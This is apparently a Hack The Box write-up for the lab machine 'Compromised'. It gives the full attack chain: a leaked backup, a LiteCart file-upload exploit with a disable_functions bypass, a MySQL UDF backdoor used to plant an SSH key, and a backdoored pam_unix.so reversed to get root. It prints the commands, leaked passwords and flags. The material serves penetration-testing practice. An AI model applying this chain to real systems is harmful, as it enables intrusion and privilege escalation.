root@kali:~/hackthebox/machine/compromised# nmap -sV -v -p- --min-rate=10000 10.10.10.207 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
enumerate port 80 by looking at files/directories:
we find some interesting directories/files, but the important one is the backup directory, so visit the URL http://10.10.10.207/backup/ and find out there is a file called a.tar.gz.
download and extract backup file:
1 2
wget http://10.10.10.207/backup/a.tar.gz tar -xvf a.tar.gz
sort the contents by modification date:
1
find . -printf"%T@ %Tc %p\n" | sort -n
look at latest modified files. look at ./admin/login.php and find this line:
open the url in your browser and search for “disable_functions”. in there we see the disabled functions “system” and “shell_exec” and more which are preventing us to run commands :(
run the script again and we get the link to the code execution:
1 2 3 4
root@kali:~/hackthebox/machine/compromised# python exp.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin /usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release. from cryptography import x509 Shell => http://10.10.10.207/shop/admin/../vqmod/xml/mybypass.php
hmm, boxname is “Compromised” and we get mysql creds and mysql has /bin/bash in /etc/passwd… google “mysql backdoor”… hmm we find out, that User Defined Functions (UDF) can be used, so lets look at udf in our pseudoshell:
1 2 3
> mysql -u root -pchangethis -e "select * from mysql.func;" name ret dl type exec_cmd 0 libmysql.so function
alright we found the udf called “exec_cmd” lets try executing a simple command:
root@kali:~/hackthebox/machine/compromised# ssh-keygen -t ed25519 -f ./key Generating public/private ed25519 key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./key Your public key has been saved in ./key.pub The key fingerprint is: SHA256:HPqYLVvu3/R18DoJNMmkbT4wlENJ63Smbx3EkqNBu5g root@kali The key's randomart image is: +--[ED25519 256]--+ | o+o | | .=o.o | | ..=**.o | | o *+BB+ | | . E =* .o | | = .+. + | | + + +o..+| | = + .oo.| | ..o.. . o. | +----[SHA256]-----+ root@kali:~/hackthebox/machine/compromised# cat key -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACD9+JBVupuMTJ87k29H8HBXCEQC/zi59/mR8K+K+S527AAAAJAmEMXWJhDF 1gAAAAtzc2gtZWQyNTUxOQAAACD9+JBVupuMTJ87k29H8HBXCEQC/zi59/mR8K+K+S527A AAAEC6pQZXCMMauEJqmB51/2UgSeuo1GzOnsO3S05SENXJa/34kFW6m4xMnzuTb0fwcFcI RAL/OLn3+ZHwr4r5LnbsAAAACXJvb3RAa2FsaQECAwQ= -----END OPENSSH PRIVATE KEY----- root@kali:~/hackthebox/machine/compromised# ls 45267.py a.tar.gz bypass.php exp.py key key.pub pshell.sh shop root@kali:~/hackthebox/machine/compromised# cat key.pub ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP34kFW6m4xMnzuTb0fwcFcIRAL/OLn3+ZHwr4r5Lnbs root@kali
now copy the contents of key.pub and put it in the authorized keys of mysql account with the pseudoshell you have: of course replace it with your public key, that you copied…
1 2
mysql -u root -pchangethis -e "select exec_cmd('mkdir /var/lib/mysql/.ssh')" mysql -u root -pchangethis -e "select exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP34kFW6m4xMnzuTb0fwcFcIRAL/OLn3+ZHwr4r5Lnbs root@kali > /var/lib/mysql/.ssh/authorized_keys')"
ssh into the box:
1 2 3 4 5 6
root@kali:~/hackthebox/machine/compromised# ssh -i key mysql@10.10.10.207 Last login: Thu Sep 3 11:52:44 2020 from 10.10.14.2 mysql@compromised:~$ id uid=111(mysql) gid=113(mysql) groups=113(mysql) mysql@compromised:~$ whoami mysql
now change to sysadmin user with the password = 3*NLJE32I$Fe and also get the user.txt :) :) :)
1 2 3 4 5 6 7
mysql@compromised:~$ su sysadmin Password: sysadmin@compromised:/var/lib/mysql$ cd sysadmin@compromised:~$ ls user.txt sysadmin@compromised:~$ cat user.txt 9b8e8c9f70062d3e9889e214fe7ccdb9
privilege esclation
now look at the modified files between 14.07 and today:
/lib/x86_64-linux-gnu/security/pam_unix.so is strange… why is there a /lib/x86_64-linux-gnu/security/.pam_unix.so? maybe another backdoor in pam and /lib/x86_64-linux-gnu/security/.pam_unix.so is a backup? lets look at it in a reversing program (i will use ghidra). first download the pam_unix.so to our kali machine with scp:
looking at the functions, find the important authenticate function and in there we find the string backdoor.
this means, if our password matches the backdoor string, we can get root. now lets reverse the backdoor string. On the Listing window we can just rightclick the value and click on convert -> Char Sequence
then we got two separated strings, combine them together
1 2 3
RAX,"zlke~U3E" + RAX,"nv82m2-\x00"
result: zlke~U3Env82m2-
this gives us the the password: zlke~U3Env82m2- we can change to root with this, and get root flag:
1 2 3 4 5 6 7 8 9 10
sysadmin@compromised:~$ su root Password: root@compromised:/home/sysadmin# cd root@compromised:~# id uid=0(root) gid=0(root) groups=0(root) root@compromised:~# ls root.txt root@compromised:~# cat root.txt 7017dc92e57aa31b32d755a062da5d8f # password = zlke~U3Env82m2-
Summary of knowledge
Source code leaked admin password
LiteCart 2.1.2 - Arbitrary File Upload
change python exp script
php disable_functions bypass with PHP 7.0-7.3 disable_functions bypass PoC
bash shell script
ssh generate to get mysql shell
mysql User Defined Functions (UDF) commands excecution
home folder passwords leaked
use ghidra to reverse pam_unix.so file find backdoor string to get password
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
